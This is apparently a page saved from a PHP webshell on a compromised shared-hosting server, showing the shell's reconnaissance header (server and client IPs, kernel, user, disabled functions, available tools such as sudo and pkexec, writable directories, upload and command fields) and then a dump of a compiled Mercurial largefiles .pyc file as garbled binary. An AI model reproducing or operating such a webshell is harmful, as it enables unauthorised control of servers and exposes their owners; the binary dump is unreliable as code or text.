403Webshell
Server IP : 108.167.183.253  /  Your IP : 216.73.216.79
Web Server : Apache
System : Linux gator4209.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : raghunath ( 2558)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/largefiles/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/largefiles/__pycache__/overrides.cpython-39.pyc
a

�+�b���	@szdZddlmZddlZddlZddlmZddlmZddl	m
Z
ddlmZm
Z
mZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm Z m!Z"m#Z#ddl$m%Z&d	d
l'm(Z(m)Z)m*Z*ej+Z+ej,Z,ej-Z-ej.Z.ej/Z/e��Z0e)j1Z1e�2d�Z3dd
�Z4d�dd�Z5dd�Z6dd�Z7e0�8e
d�dd��Z9e0j:dddded�fddded�fddded�fgd�d d!��Z;e0�8e
d�d"d#��Z<e0�8e
d$�d%d&��Z=e0�8e j>d'�d(d)��Z?e0�:d'�d*d+��Z@e0�8e j>d,�d�d.d/��ZAe0�:d0�d1d2��ZBe0j:d3ddded4�fdd5ded6�fdd7ded8�fgd�d9d:��ZCe0j:d;ddded<�fgd�d=d>��ZDe0�8ed?�d�d@dA��ZEe0�8edB�dCdD��ZFe0�8edE�dFdG��ZGe0�8edH�d�dIdJ��ZHe0�8edK�d�dLdM��ZIe0�8e
dN�d�dOdP��ZJe0�8e
dQ�dRdS��ZKe0j:dTddUdedV�fddWgedX�edY�fgd�d�dZd[��ZLe0j:d\ddWged]�edY�fgd�d^d_��ZMe0�8ed`�dadb��ZNe0�Odc�ddde��ZPe0j:dfddUdedg�fgd�d�dhdi��ZQe0�8edf�djdk��ZRe0j:dldldm�dndo��ZSe0jTdpdq��ZUe0�:dr�dsdt��ZVe0�8e
dr�dudv��ZWe0�8edr�d�dxdy��ZXe0�8e j>dr�d�dzd{��ZYe0�8e
d|�d}d~��ZZe0�8e
d�d�d���Z[e0�8e
d��d�d���Z\d�d��Z]d�d��Z^e0j:d�ddded��fgd�d�d���Z_d�d��Z`e0j:d�ddded��fgd�d�d���Zae0�8ed��d�d�d���Zbe0�:d��d�d���Zce0�:d��d�d���Zde0j:d�d�dm�d�d���Zee0�:d��d�d���Zfe0�8ed��d�d���Zge0�8ed��d�d���Zhe0�8e&d��e0�8e&d��d�d����Zid�Zje0�8e"d��d�d�d���ZkdS)�zHOverridden Mercurial commands and functions for the largefiles extension�)�absolute_importN)�_)�open)�webcommands)�archival�cmdutil�copies�error�exchange�
extensions�	exthelper�	filemerge�hg�
logcmdutil�match�merge�
mergestate�pathutil�pycompat�scmutil�smartset�subrepo�url�util)�actions�)�
lfcommands�lfutil�storefactoryZlfmrcs\t�|�}�fdd���fdd�|jD�|_t|j�|_dd�|_|j���fdd�|_|S)zMcreate a matcher that matches only the largefiles in the original
    matchercst�|��vS�N�r�standin��f��manifest��@/usr/lib64/python3.9/site-packages/hgext/largefiles/overrides.py�<lambda>I�z)composelargefilematcher.<locals>.<lambda>csg|]}�|�r|�qSr&r&��.0�lf��lfiler&r'�
<listcomp>Jr)z+composelargefilematcher.<locals>.<listcomp>cSsdS�NFr&r&r&r&r'r(Lr)cs�|�o�|�Srr&r"�r.�origmatchfnr&r'r(Nr))�copy�_files�set�_fileset�always�matchfn)rr%�mr&)r.r%r2r'�composelargefilematcherEs

r:csvt��|dur��|�t�|�}��fdd���fdd�|jD�|_t|j�|_dd�|_|j���fdd�|_|S)Ncs"t�|�pt�|��vp|�vSr�r�	isstandinr!r")�excludedr%r&r'r(Xs�z*composenormalfilematcher.<locals>.<lambda>csg|]}�|�r|�qSr&r&r*)�notlfiler&r'r/[r)z,composenormalfilematcher.<locals>.<listcomp>cSsdSr0r&r&r&r&r'r(]r)cs�|�o�|�Srr&r")r>r2r&r'r(_r))r5�updater3r4r6r7r8)rr%Zexcluder9r&)r=r%r>r2r'�composenormalfilematcherRs


r@cs.|�d�}t�|t�|�|�d��}d}t�|�rX|�tjd�}	|	rXt�|jdt	|	��}g}
|�|d}|�
t��dd���D]�}��|�}
t�
|�|v}||v}|p�|}|
r�|r�|r~|�td�||��q~|
s�|s~t�|�s~|j�|�s�q~|�o|j�|�j|ddk}|�s&|�s&|r~||�r~|
�|�|j�s<|
s~|�td	�||��q~g�|����|�d
��s�g}t�||�}|
D]B}t�
|�}tj||dt�|�|��d�|�|�|�|��q�|�|�����fdd
�|d� |�D�7��fdd
�|
D�}Wd�n1�s0Y|�fS)N�large�lfsizespatternsr)cSsdSrr&)�x�yr&r&r'r(sr)zaddlargefiles.<locals>.<lambda>s%s already a largefile
isadding %s as a largefile
�dry_run)�hash�
executablecs"g|]}|���vrt�|��qSr&)�filesr�splitstandin�r+r#�r9r&r'r/�s�z!addlargefiles.<locals>.<listcomp>csg|]}|�vr|�qSr&r&rJ)�badr&r'r/�r))!�getrZ
getminsize�islfilesrepoZ
configlistZlongname�matchmodr�root�list�walkZbadmatch�exactr!�warnrr<�wvfs�exists�lstat�st_size�append�verbose�status�wlock�openlfdirstate�writestandin�
getexecutable�wjoin�set_tracked�write�currenttransaction�add)�ui�repo�isaddremove�matcher�uipathfn�optsrArBZ	lfmatcherZlfpatsZlfnames�wctxr#rSr.ZnfilerVZabovemin�standins�
lfdirstateZstandinname�addedr&)rLr9r'�
addlargefilescsf
�

�


�
�2rocs�|�d�}t||d���}t|�� |j||d�}	Wd�n1sJ0Y|d����fdd�|	j|	j|	j|	jfD�\}
}}}
��fdd�}|r�|}||
||
t	d��}n(||
}||
t	d��}||t	d	��p�|}|�
���t��|�}t
|�D]F}�j�s|�|��s,��t	d
��|��|s�|s�|jj|dd�q�|�r^|Wd�Sd
d�|D�}|�s�|D]}|jj|dd��qv|d�|�|D]}|�t�|���q�|�|���Wd�n1�s�0Y|S)N�after�r�cleancsg|]}�fdd�|D��qS)csg|]}t�|��vr|�qSr&r rJr$r&r'r/�r)z/removelargefiles.<locals>.<listcomp>.<listcomp>r&)r+rQr$r&r'r/�s�z$removelargefiles.<locals>.<listcomp>cs,|D]}��|�|��qtt|�dk�S)Nr)rT�int�len)rH�msgr#)rerir&r'rT�szremovelargefiles.<locals>.warns#not removing %s: file still exists
s<not removing %s: file is modified (use -f to force removal)
sCnot removing %s: file has been marked for add (use forget to undo)
�removing %s
T�Z
ignoremissingcSsg|]}t�|��qSr&r rJr&r&r'r/�r))rMr:r%�lfstatusr[�modifiedrn�deletedrrrr\rr]�sortedrZrSrU�
unlinkpath�forget�
set_untrackedrIrbrc)rerfrgrhri�dryrunrjrpr9�sryrnrzrrrT�remove�resultrmr#r&)r%rerir'�removelargefiles�s`

.
�������
.r�s
decodepathcCst�|�p|Sr�rrI)�orig�pathr&r&r'�
decodepath�sr�saddr)�largesadd as largefilesnormalsadd as normal fileslfsizesHadd all files above this size (in megabytes) as largefiles (default: 10))rjcOs:|�d�r"|�d�r"t�td���|||g|�Ri|��S)N�normalrAs$--normal cannot be used with --large)rMr	�Abortr�r�rerf�patsrjr&r&r'�overrideadd�sr�cKs�|�d�r$|||||||fi|��St||d||fi|��\}}	t||d��|�}
||||
|||fi|��}|�dd�|	D��|S)Nr�Fcss|]
}|VqdSrr&rJr&r&r'�	<genexpr>r)zcmdutiladd.<locals>.<genexpr>)rMror@r%�extend)r�rerfrh�prefixri�explicitonlyrjZladdedZlbad�
normalmatcherrLr&r&r'�
cmdutiladds
�r�sremovec

CsFt||d���}
||||
||||||	�	}t||d|||	||d�pD|S)NF)rp�force)r@r%r�)r�rerfrhr�rirpr��subreposrr�r�r&r&r'�
cmdutilremove#s"���r�sstatuscKs@t|j��"|||fi|��Wd�S1s20YdSr�rx�_repo)r�rfZrev2rjr&r&r'�overridestatusfn;sr�cOsDt|��(|||g|�Ri|��Wd�S1s60YdSr�rxr�r&r&r'�overridestatusAs
r�sdirtyFcCs<t|j��||||d�Wd�S1s.0YdS)N)�ignoreupdate�missingr�)r�rfr�r�r&r&r'�
overridedirtyGsr�slogc		s�d
��fdd�	}tj�d�fdd�	}t�td|�}t�td	|�}|�Z|�6|��g|�Ri|��Wd�Wd�S1s�0YWd�n1s�0YdS)Nr&F�relpathcsp|duri}|||||||d�}t�|�\}}	|��r:|St|	�}tjfdd�������r�tj}
t���	|
�dt
|
������fdd��ndd��|���fdd	�|	D��td
t
|j
��D]^}|j
|dkr�q�t�|j
|�}||vr�||j
|<q�|j
||vrˆj�|�r�|j
�|�q�t|j
�|_dd
�|_|j��fdd�}
|
|_��dd�t|���||fS)z�Matcher that merges root directory with .hglf, suitable for log.
        It is still possible to match .hglf directly.
        For any listed files run log on the standin too.
        matchfn tries both the given filename and with .hglf stripped.
        N��badfncSsJ|�d�r|St�|d�}|ddur>|dd||d�S||d�S)Nsset:r�:r)�
startswithrOZ	_patsplit)�pat�	tostandinZkindpatr&r&r'�fixpatsis
z:overridelog.<locals>.overridematchandpats.<locals>.fixpatscs\|���r$t�|t��d��r$|Stj���rB|t��d�}n�d|}�t�|�S)N�/)r�rrIrt�osr��isabsr!r")�back�cwdr&r'r�xs z<overridelog.<locals>.overridematchandpats.<locals>.tostandincSst�|�r|St�|�Srr;r"r&r&r'r��s
c3s|]}�|��VqdSrr&rJ)r�r�r&r'r��r)z<overridelog.<locals>.overridematchandpats.<locals>.<genexpr>r�.cSsdSr0r&r&r&r&r'r(�r)z;overridelog.<locals>.overridematchandpats.<locals>.<lambda>cs*t�|�}|dur�|�rdS�|�}|S)NTr�)r#r,�r)r2r&r'�	lfmatchfn�s

z<overridelog.<locals>.overridematchandpats.<locals>.lfmatchfnsupdated patterns: %s
s, )r3r7r5rr!�getcwd�	shortnamerZpconvertZpathtortr?�ranger4rU�isdirrYr6r8�debug�joinr{)r��ctxr�rj�globbed�defaultr��matchandpatsr9�pZhglf�ir!r��rfre)r�r�r�r2r�r'�overridematchandpatsOs<

z)overridelog.<locals>.overridematchandpatscs(|d}�||||d�\�}�fdd�S)Nr�cs�Srr&�r��rr&r'r(�r)z>overridelog.<locals>.overridemakefilematcher.<locals>.<lambda>r&)r�rfr�rjr�rk)�oldmatchandpatsr�r'�overridemakefilematcher�sz,overridelog.<locals>.overridemakefilematchersmatchandpatss_makenofollowfilematcher)r&NFr�N)N)rr�r�wrappedfunctionr)	r�rerfr�rjr�r�ZwrappedmatchandpatsZwrappedmakefilematcherr&)r�rfrer'�overridelogMs �f��r�sverifys5verify that all largefiles in current revision existsslfas4verify largefiles in all revisions, not just currentslfcs3verify local largefile contents, not just existencec	Os`|�dd�}|�dd�}|�dd�}|||g|�Ri|��}|sH|sH|r\|pZt�||||�}|S)NrAFZlfaZlfc)�poprZverifylfiles)	r�rerfr�rjrA�all�contentsr�r&r&r'�overrideverify�sr�s
debugstatesdisplay largefiles dirstatecs\|�dd�}|r@G��fdd�dt�}|�|g|�Ri|��n|��g|�Ri|��dS)NrAFcseZdZe����ZdS)z$overridedebugstate.<locals>.fakerepoN)�__name__�
__module__�__qualname__rr]�dirstater&r�r&r'�fakerepo�sr�)r��object)r�rerfr�rjrAr�r&r�r'�overridedebugstate�s
r�s_checkunknownfilecCs*t�|j�|��|vrdS||||||�Sr0)rr!r��	normalize)�origfnrfrk�mctxr#�f2r&r&r'�overridecheckunknownfilesr�scalculateupdatescOsH|o|}
||||||||g|�Ri|	��}|
r4|St�}|��D]B}
t�|
�}|durl||vrl|�|�qBt�|
�|vrB|�|
�qBt|�D�]�}t�|�}|�|d�\}}}|�|d�\}}}|tt	fv�r||t
k�r||t	k�r|\}}}}}||��df}td�|}|j
�|d�dk�rD|�|t
dd�|�|t|d�n8|�|tdd�|�rl|�|tdd�n|�|t
dd�|tt	fvr�|t
kr�|t	k�r�|\}}}}}||��df}td�|}|j
�|d�dk�r"|�r|�|tdd�|�|tdd�n |�|tdd	�|�|tdd
�q�|�|t|d�|�|t
dd�q�|S)N)NNNFswremote turned local normal file %s into a largefile
use (l)argefile or keep (n)ormal file?$$ &Largefile $$ &Normal filersreplaced by standinsreplaces standinsreplaced by non-standinswremote turned local largefile %s into a normal file
keep (l)argefile or use (n)ormal file?$$ &Largefile $$ &Normal filesforget non-standin largefileskeep standin)r5rHrrIrdr!r{Zgetfile�
ACTION_GET�ACTION_DELETED_CHANGED�
ACTION_REMOVE�flagsrre�promptchoice�addfile�ACTION_KEEP�#MERGE_ACTION_LARGEFILE_MARK_REMOVED�
ACTION_ADD)r�rfZp1Zp2Zpas�branchmerger�Zacceptremote�args�kwargsZ	overwriteZmresultZlfilesr#rIr.r!ZlmZlargsZlmsgZsmZsargsZsmsg�f1r��fa�moveZancZusermsgr&r&r'�overridecalculateupdates#s�
���


������
�������r�s
recordupdatesc	Cs�t|vr�t�|j|�}|���F|tD],\}}}|jj|ddd�|j|ddd�q(Wd�n1sj0Y|�|���|||||�S)NTF�Z
p1_trackedZ
wc_tracked)	r�rr]re�parentchanger��update_filerbrc)	r�rfrr�Zgetfiledatarmr.r�rur&r&r'�mergerecordupdates�s
��0r�s	filemergec	
Cs�t�|�r|��s|��r2|||||||||d�St�|���}	t�|���}
t�|���}||	kr�||
kr�|
|	ks�|j�td�t�|�|	|
|fd�dkr�|�	|�
�|��|���dS)N)�labelss�largefile %s has a merge conflict
ancestor was %s
you can keep (l)ocal %s or take (o)ther %s.
what do you want to do?$$ &Local $$ &Otherrr)rF)
rr<Zisabsent�
readasstandin�lowerrer�rrI�wwriter��datar�)r�rfrkZmynoder�ZfcdZfcoZfcar�ZahashZdhashZohashr&r&r'�overridefilemerge�s0������
��r�s
pathcopiescCsF||||d�}i}t�|�D]$\}}t�|�p0||t�|�p>|<q|S)Nr�)rZ	iteritemsrrI)r�Zctx1Zctx2rr�updated�k�vr&r&r'�copiespathcopies�s
r�scopycs�t|�dkr||�|�|�Sd}d}�d���d�fdd�	}t�td|��hz||�|�|�}	WnBtjy�}
z(|
jtd�kr�|
�nd	}d
}	WYd}
~
n
d}
~
00Wd�n1s�0Yz��	�Wnt
y�|	YS0�fdd�}t�|�}|d
}
tj
�|
��r4tj
�||
���s4t�||
���z@�z���}�d���d�fdd�	}g}|D]0}t�|�du�r�|�|�n|�||���qfg����fdd�}t�td|��Tt�td|��$|	||�|�|�7}	Wd�n1�s�0YWd�n1�s0Yt�|��}�D]�\}}
tj|v�r0|
���tj���r0|���t�d��d�}|
���t�d��d�}�j���|���p�d}tj
�|��s�t�|�|�r�t���|���|���jj|d	d�|� |�nt�!��|���|��|�"|��q0|�#��$��WnBtj�yj}
z&|
jtd�k�rR|
�nd	}WYd}
~
n
d}
~
00W|�%�n
|�%�0|�r�|�r�t�td���|	S)N�Fr&r�cs*|duri}|||||||d�}t|��S)Nr�)r@)r�r�r�rjr�r�r�rr$r&r'�normalfilesmatchfn�s	z(overridecopy.<locals>.normalfilesmatchfn�matchsno files to copyTrcs&t��j���|�}�j�t�|��Sr)rZ	canonpathrPr�rUr�rr!)�relpathr��rfr&r'�makestandinsz!overridecopy.<locals>.makestandin���cs�|duri}g}|D]<}t�|�durFtj|vrF|�|�tjd��q|�|�q|||||||d�}	t�|	�}
�fdd���fdd�|
jD�|
_t|
j�|
_	|
j
���fdd�}||
_
|
S)	Nr)r�cst�|��vSrr r"r$r&r'r(-r)z5overridecopy.<locals>.overridematch.<locals>.<lambda>csg|]}�|�rt�|��qSr&r rJr-r&r'r/.r)z7overridecopy.<locals>.overridematch.<locals>.<listcomp>cs&t�|�}|dur"|�vr"�|�p$dSrr��r#r.)r%r2r&r'r82s
���z4overridecopy.<locals>.overridematch.<locals>.matchfn)rO�patkindrr�rY�replacer3r4r5r6r8)r�r�r�rjr�r�r�Znewpatsr�rr9r8r$r1r'�
overridematchs 	
	z#overridecopy.<locals>.overridematchcsvtj|vrL|���tj��rL|�tjd�}�dsLtj�|�rLtdt	d�����
||f�|||g|�Ri|��dS)Nr)sforces$destination largefile already exists)rr�r�r`r�r�r�rV�IOErrorrrY)r��src�destr�r��	destlfile)�copiedfilesrjrfr&r'�overridecopyfileGs
��z&overridecopy.<locals>.overridecopyfilescopyfiler)r�rw)r&NFr�N)r&NFr�N)&rtr%rr�rr	r��messagerr��OSErrorZ
expandpatsr�r�r��makedirsr\rOr�rYrrr]r�r�r`r�r!rU�dirname�renamer|r~�copyfilerarbrc�release)r�rerfr�rjrZ
nonormalfilesZnolfilesr�r��er�Zfullpatsr�r\r�Zlistpatsr�rrmr�Zsrclfiler�Zdestlfiledirr&)rr%rjrfr'�overridecopy�s��8

�&T
�
r
srevertc	s0�����t�|��}t�|��}|�����|jD]}t��|t�|��q8|j	D]&}t�|�}	�j
�|	�rX�j
�|	�qXt�
��}
d	��fdd�	}t�td|��*||��g|�Ri|��Wd�n1s�0Yt�
��}t�|
|�}
tj|�|
ddd�Wd�n1�s"0YdS)
Nr&Fr�cs�|duri}|�|||||d�}t�|�}t����j���d�}	�d}
g}|jD]L}t�|�}
|
�vsr|
�vr~|�|
�qT|
|
vsT|	�|�j	r�qTqT|�|�qT||_t
|j�|_|j����fdd�}||_|S)Nr�Fcs2t�|�}|dur*�|�o(|�vp(|�vS�|�Srr�r�)r�r�r2r&r'r8�s
z6overriderevert.<locals>.overridematch.<locals>.matchfn)
r3rr]rfrer4r!rY�	get_entry�removedr5r6r8)r�r�r�rjr�r�r�rr9rmrkZ
matchfilesr#r!r8�r�rf)r�r2r'r��s,	
�

z%overriderevert.<locals>.overridematchr�T)�printmessage�normallookup)r&NFr�N)r\rr]Zlfdirstatestatusrbrcry�
updatestandinr!rzrUrV�unlink�getstandinsstaterr�r�getlfilestoupdater�updatelfiles)r�rerfr�r�rjrmr�r.�fstandin�oldstandinsr��newstandins�filelistr&r
r'�overriderevert�s0



�-8

�rspullsall-largefiless7download all pulled versions of largefiles (DEPRECATED)slfrevs'download largefiles for these revisionssREVc
Ks�t|�}|sd}||_||||fi|��}t|�}|�dg�}|�d�rR|�d�|r�||kr�d}	||_zJt�||�D]4}
|�td�|
�t	�
|||
�\}}|	t|�7}	qvW|`n|`0|�td�|	�|S)Nsdefault�lfrev�all_largefiles�pulled()rs#pulling largefiles for revision %d
s%d largefiles cached
)rtZlfpullsourcerMrY�firstpulledr�revrangeZnoterr�cachelfilesr[)
r�rerf�sourcerjZrevsprepullr�Zrevspostpull�lfrevsZ	numcached�rev�cachedr�r&r&r'�overridepull�s(

r$spushs%upload largefiles for these revisionscOsD|�dd�}|r,|�di�}t�||�|d<|||g|�Ri|��S)z<Override push command and store --lfrev parameters in opargsrN�opargsslfrevs)r��
setdefaultrr)r�rerfr�r�r!r%r&r&r'�overridepush�s
r's
pushoperationcOs$|�dd�}||i|��}||_|S)z=Override pushoperation constructor and store lfrevs parameterr!N)r�r!)r�r�r�r!Zpushopr&r&r'�exchangepushoperationsr(rcsDz
|j�Wn ty*t�td���Yn0t��fdd�|D��S)agChangesets that just has been pulled.

    Only available with largefiles from pull --lfrev expressions.

    .. container:: verbose

      Some examples:

      - pull largefiles for all new changesets::

          hg pull -lfrev "pulled()"

      - pull largefiles for all new branch heads::

          hg pull -lfrev "head(pulled()) and not closed()"

    s"pulled() only available in --lfrevcsg|]}|�kr|�qSr&r&)r+r��rr&r'r/4r)z&pulledrevsetsymbol.<locals>.<listcomp>)r�AttributeErrorr	r�rrZbaseset)rfZsubsetrCr&r)r'�pulledrevsetsymbols

r+sclones'download all versions of all largefilescKsP|}|durt�|�}|�d�r<t�|�s<t�td�|��||||fi|��S)Nrs>--all-largefiles is incompatible with non-local destination %s)rZdefaultdestrMZislocalr	r�r)r�rer r�rj�dr&r&r'�
overrideclone7s
��r-cOsb|||g|�Ri|��}|dur^|\}}|��}|s8|S|�d�r^t�||�\}	}
|
dkr^dS|S)Nsall_largefilesr)�localrMrZdownloadlfiles)r�rerjr�r�r�Z
sourcerepoZdestreporf�successr�r&r&r'�hgcloneOs
r0�rebase)�	extensioncKs�t�|d�s|||fi|��S|�d�}|j�t�|��|j�dd��zp|�ddid��8|||fi|��Wd�W|j�	�|j�	�S1s�0YW|j�	�|j�	�n|j�	�|j�	�0dS)N�_largefilesenabled�continuec_sdSrr&�rurjr&r&r'r(pr)z#overriderebasecmd.<locals>.<lambda>)r1sexperimental.inmemoryF�
largefiles)
r�safehasattrrM�_lfcommithooksrYr�automatedcommithook�_lfstatuswritersZconfigoverrider�)r�rerfrj�resumingr&r&r'�overriderebasecmdis"
� 

�
�
r<cCs<zt�d�}Wnty Yn0dd�}t�|d|�dS)Nr1c_sd|d<||i|��S)NFZinmemoryr&�r�r�r�r&r&r'�	_dorebase�sz!overriderebase.<locals>._dorebases	_dorebase)r�find�KeyError�wrapfunction)reZrebaser>r&r&r'�overriderebase{srBsarchivecKsHt|����(|||��|fi|��Wd�S1s:0YdSr)rx�
unfiltered)r�rerfr�rjr&r&r'�overridearchivecmd�srDcCs6t|j��||�Wd�S1s(0YdSr)rxrf)r�Zwebr&r&r'�hgwebarchive�srETc

s�js(���js(|�|||���||	�	S|dur@t��j�|�|tjvr\t�t	d�|���|�|dkr��r�t�t	d���nt�
||��������fdd�}
tj|||p����d���j�dd�r�|
d	d
d�fdd
���D]�}��
|�}�|j}
t�|�}|du�r`|du�rLt��|
������du�rPt�t	d�|��n|�|}�fdd
�}
|
|d|v�rtd�pvd
d|v|
�q�|	�rt�j�D]z}��|�}t�|��}�|d}t�|d��r�t|j��p�t���|��||�Wd�n1�s0Y�q����dS)Nsunknown archive type '%s'sfiless*cannot give prefix when archiving to filescs>�r�|�sdS|�}�r&��||�}���||||�dSr)�
wwritedatar���name�mode�islink�getdatar�)�archiver�decoderr�rfr&r'rb�szoverridearchive.<locals>.writersuisarchivemetas.hg_archival.txt�Fcs
t���Sr)rZ
buildmetadatar&r�r&r'r(�r)z!overridearchive.<locals>.<lambda>�4largefile %s not found in repo store or system cachecs
t���Sr)r�readfiler&)r�r&r'r(�r)�x���lr�r�)rxrCrrrerZ	archiversr	r�rZ
tidyprefix�dateZ
configboolr�r�rrI�findfile�stripr{�substate�
workingsubrO�
subdirmatcherrr7r��nullcontextmanager�archiveZdone)r�rfr��node�kindrMrr��mtimer�rbr#�ffrKr.�subpath�sub�submatch�	subprefixr&)rLr�rMrr�r�rfr'�overridearchive�sj�

�





���$
��2rdc	s�t��jd�}|r�jjs*|������S���jd��jd}�j|}|��durpt��j	�j|���������fdd�}	|D]��|�
��}
|�j}t�
��}|du�r|��dur�t��j|������dur�t�td�|��n|�|���fdd�}|	�d	|
v�rd
�pdd|
v|�q�t|j�D]|}
|�|
�}t�|
��}�|
d
}t�|d��rvt|j��p|t��� |��||��Wd�n1�s�0Y�q6dS)Nr3)shgrcs@�r���sdS|�}�r(�j�||�}���||||�dSr)r�rFr�rG)rLrMr#rr�rfr&r'rbszhgsubrepoarchive.<locals>.writerOcst�tj�����Sr)rrPr�r�r�r&)r�r�r&r'r(#r)z"hgsubrepoarchive.<locals>.<lambda>rQrRrNrSr�r�)rr7r�rxZ_get�_stater\rrrer�r�rrIrUrVr	r�rr{rWrXrOrYrZr[)r�rfrLr�rrMZ	lfenabledr"r�rbr_rKr.r`rarbrcr&)rLrMr#rr�r�rfr'�hgsubrepoarchive�sL





���$
��rfs
bailifchangedcOsp||g|�Ri|��t|��|��}Wd�n1s<0Y|js^|js^|js^|jrlt�td���dS)Nsuncommitted changes)	rxr[ryrnrrzr	r�r)r�rfr�r�r�r&r&r'�overridebailifchanged;s

&rgspostcommitstatuscOsBt|��&||g|�Ri|��Wd�S1s40YdSrr�)r�rfr�r�r&r&r'�postcommitstatusDs
rhsforgetc		s�t||d���}	||||	|||||�\}
}t||d����t|��|j�dd�}Wd�n1sj0Y|d���t|j|j|j|j	�}
�fdd�|
D�}
|
D]D}t
�|�}||jvr�|j
�|�s�|�td�||��|
�|�q�|
D],}|j�s��|�s�|�td�||��q�|���xt
�||�}|
D]}|�|��qD|�|���dd�|
D�}|D]}|j
j|dd��qv|d�|��Wd�n1�s�0Y|
��fd	d
��D��|��fdd
�|
D��|
|fS)NTrqcsg|]}t�|��vr|�qSr&r rJr$r&r'r/_r)z!cmdutilforget.<locals>.<listcomp>s+not removing %s: file is already untracked
rvcSsg|]}t�|��qSr&r rJr&r&r'r/tr)rwc3s|]}|���vr|VqdSr)rHrJrKr&r'r�yr)z cmdutilforget.<locals>.<genexpr>c3s|]}|�vr|VqdSrr&rJ)�rejectedr&r'r�zr))r@r%r:rxr[r{ryrnrzrrrr!r�rUr�rTrrYrZrSr\r]r~rbrcr|r}r�)r�rerfrr�rir�r�interactiver�rLZforgotr�r}r#rrmrlr&)r9r%rir'�
cmdutilforgetJsN�

,
�
.rkcsbt��t����fdd�}t�|||��r^t�||����}�D]\}}||sB|||�qBdS)z�get pairs of filename and largefile hash in outgoing revisions
    in 'missing'.

    largefiles already existing on 'other' repository are ignored.

    'addfunc' is invoked with each unique pairs of filename and
    largefile hash value.
    cs(||f}|�vr$��|���|�dSr�rd)�fn�lfhashr��Zknowns�lfhashesr&r'�dedup�s
z_getoutgoings.<locals>.dedupN)r5rZgetlfilestouploadr�	openstorerV)rf�otherr��addfuncrqZlfexistsrmrnr&ror'�
_getoutgoings~s	rucs�|�dd�r�t���jr:i���fdd�}��fdd�}nt����fdd�}dd�}t||||��sx��td��nJ��td	�t���t��D] }��t�	|�d
�||�q���d
�dS)Nr�cs,|�vrg�|<�|�|���|�dSr)rYrd�rmrn�rp�touploadr&r'rt�szoutgoinghook.<locals>.addfunccs$t�|�D]}��d|�qdS)Ns    %s
)r{r�rv)rxrer&r'�
showhashes�sz outgoinghook.<locals>.showhashescs��|���|�dSrrlrvrwr&r'rt�s
cSsdSrr&)rmr&r&r'ry�sslargefiles: no files to upload
s$largefiles to upload (%d entities):
�
)
r�r5Z	debugflagrur[rrtr{rrI)rerfrsrjr�rtry�filer&)rprxrer'�outgoinghook�s&�
r|soutgoingsdisplay outgoing largefilescOs||i|��Srr&r=r&r&r'�_outgoingcmd�sr}c
s�|�dd�}|dur"|rdSdSn�|r�|d\}}}}|durP|�td��dSt��t����fdd�}	t|||j|	��s�|�td	��n|�td
�t��t��f�dS)Nr�F)FT)FFrslargefiles: (no remote repo)
cs��|���|�dSrrlrvrwr&r'rt�s
z"summaryremotehook.<locals>.addfuncs!largefiles: (no files to upload)
s/largefiles: %d entities for %d files to upload
)rMr[rr5rur�rt)
rerfrjZchangesZlargeoptr�branchZpeerZoutgoingrtr&rwr'�summaryremotehook�s*��rssummarycOsDt|��(|||g|�Ri|��Wd�n1s60YdSrr�r�r&r&r'�overridesummary�s
r�s	addremovec	s�|duri}t�|�s&||||||�St�|j|�}|jt��gdddd�\}�}�jr�t�|�}	|	j	���fdd�|	_	t
|j|d|	||�d�fit�
|���t|j|d||fit�
|���\}
}t||d��|
�}||||||�S)NF�r��ignoredrr�unknowncs|�jvo�|�Sr)rzr"�r8r�r&r'r(r)z"scmutiladdremove.<locals>.<lambda>Tsdry_run)rrNr]rer[rOr7rzr3r8r�rMrZ	strkwargsror@r%)r�rfrhr�rirjrm�unsure�mtime_boundaryr9rnrLr&r�r'�scmutiladdremove�sB
�
����
r�spurgecsH�����j�d���fdd�	}|�_|��g|�Ri|����_dS)Nr�Fc	sh�|||||||�}t������fdd�|jD�}�fdd�|jD�}t�|j|j|j|j	|||j
�S)Ncsg|]}��|�js|�qSr&�rZany_trackedrJ�rmr&r'r/Csz9overridepurge.<locals>.overridestatus.<locals>.<listcomp>csg|]}��|�js|�qSr&r�rJr�r&r'r/Fs)rr]r�r�rr[ryrnrrzrr)Znode1Znode2rr�rrr�Zlistsubreposr��Z	oldstatusrfrer�r'r�6s	�
�
��z%overridepurge.<locals>.overridestatus)r�NNFFFF)rCr[)r�rerf�dirsrjr�r&r�r'�
overridepurge(s�r�srollbackcs������j��}�fdd��jD�}||�fi|��}�j��}||kr^|Wd�S�d}�jD]p}	t�|	�rl|�|	��j�|	�jr��jj	|	dd�ql|	|vr�||	}
��
|	|
��|
���qlt�
�|	dd�ql|D]}�jj	|dd�q�Wd�n1�s0Y|S)Ncs(h|] }t�|�r�j�|�js|�qSr&)rr<r�rrrJr�r&r'�	<setcomp>Vs�z#overriderollback.<locals>.<setcomp>r�Trwr)F)r\r��parentsrr<�discardrrrUr|r�r�r�r^)r�rerfrj�beforeZorphansr�rp�pctxr#Zfctxr!r&r�r'�overriderollbackRs,


�



2r�s
transplantcOsx|�d�}|j�t�|��|j�dd��z0|||g|�Ri|��}W|j��|j��n|j��|j��0|S)Nr4c_sdSrr&r5r&r&r'r(wr)z$overridetransplant.<locals>.<lambda>)rMr8rYrr9r:r�)r�rerfZrevsrjr;r�r&r&r'�overridetransplantss

�
r�scatc
s�t�|�}t�||�d��}d}t��t�||f||�}|j���fdd�}	|	|_|j	���fdd�}
|
|_	|j
��fdd�}||_
|�|�D�]<}tj
||�d	�|d
���
}
t�|�}|dusʈ|�r�||��}|�d�r�|�||�}|
�|�n�t�||�}t�|j|��sTt�|�}|�||fg�\}}t|�dk�rTt�td�|��t�|j|�}t|d
��,}t�|�D]}|
�|��qxWd�n1�s�0YWd�n1�s�0Yd}q�|S)Nsrevrcs4�|�rdSt�|�}|dur"dS��|��|�S�NTF)rrIrd)r#r,)�notbadr2r&r'r��s

